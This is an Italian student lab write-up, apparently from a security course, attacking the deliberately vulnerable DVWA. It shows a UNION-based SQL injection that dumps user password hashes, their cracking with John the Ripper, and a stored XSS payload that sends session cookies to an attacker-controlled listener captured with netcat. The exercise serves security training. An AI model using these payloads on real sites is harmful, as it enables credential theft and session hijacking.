




# S6L5

## SQL INJECTION (BLIND)

### XSS STORED



Scopo dell'esercizio:

- Recuperare le password degli utenti presenti sul DB (sfruttando la SQLi).
  - Recuperare i cookie di sessione delle vittime del XSS stored ed inviarli ad un server sotto il controllo dell'attaccante.
- 

# SQL INJECTION (BLIND)

## Vulnerability: SQL Injection (Blind)

User ID:

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Per questo primo attacco, dopo esser entrato su DVWA e impostato il livello di sicurezza su low, ho proceduto nel recupero delle password tramite una query UNION in modo da poter unire più ricerche.

```
(kali@kali)-[~/Desktop]  
$ john --show --format=raw-md5 hashes  
admin:password  
gordonb:abc123  
1337:charley  
pablo:letmein  
smithy:password  
  
5 password hashes cracked, 0 left
```

Essendo le password criptate tramite codice hash sono dovuto ricorrere all'utilizzo di John the Ripper, un tool che effettua attacchi a dizionario utilizzando liste di password e di codici hash.

# XSS STORED

In questo dobbiamo andare ad utilizzare uno script troppo lungo quindi ho dovuto prima cambiare la lunghezza massima dei caratteri.

```
<tbody>
  <tr>...</tr>
  <tr>
    <td width="100">Message *</td>
    <td>
      <textarea name="mtxMessage" cols="50" rows="3" maxlength="200"></textarea>
    </td>
  </tr>
</tbody>
```

fatto ciò procediamo ad inserire lo script.

## Vulnerability: Stored Cross Site Scripting (XSS)

Name \*

JKJK

Message \*

<script>new Image().src="http://192.168.50.104:8888/?"+document.cookie;</script>

Sign Guestbook

Name: test

Message: This is a test comment.

### More info

<http://ha.ckers.org/xss.html>

[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)

<http://www.cgisecurity.com/xss-faq.html>

[View Source](#) [View Help](#)

```
(kali@kali)-[~/Desktop]
$ nc -klvp 8888
listening on [any] 8888 ...
connect to [192.168.50.104] from kali [192.168.50.104] 47620
GET /?security=low;%20PHPSESSID=29c3adb749b47b844fafc072a4863156 HTTP/1.1
Host: 192.168.50.104:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.50.101/
```

Tramite il comando "nc -klvp 8888" attiviamo il tool netcat ed ogni volta che un utente si collega alla pagina esso otterrà il cookie di sessione, l'IP ed altre informazioni



# Conclusione

Tutte e due le vulnerabilità si sono dimostrare pericolose. In entrambi i casi filtrare l'input utente può essere una delle soluzioni.

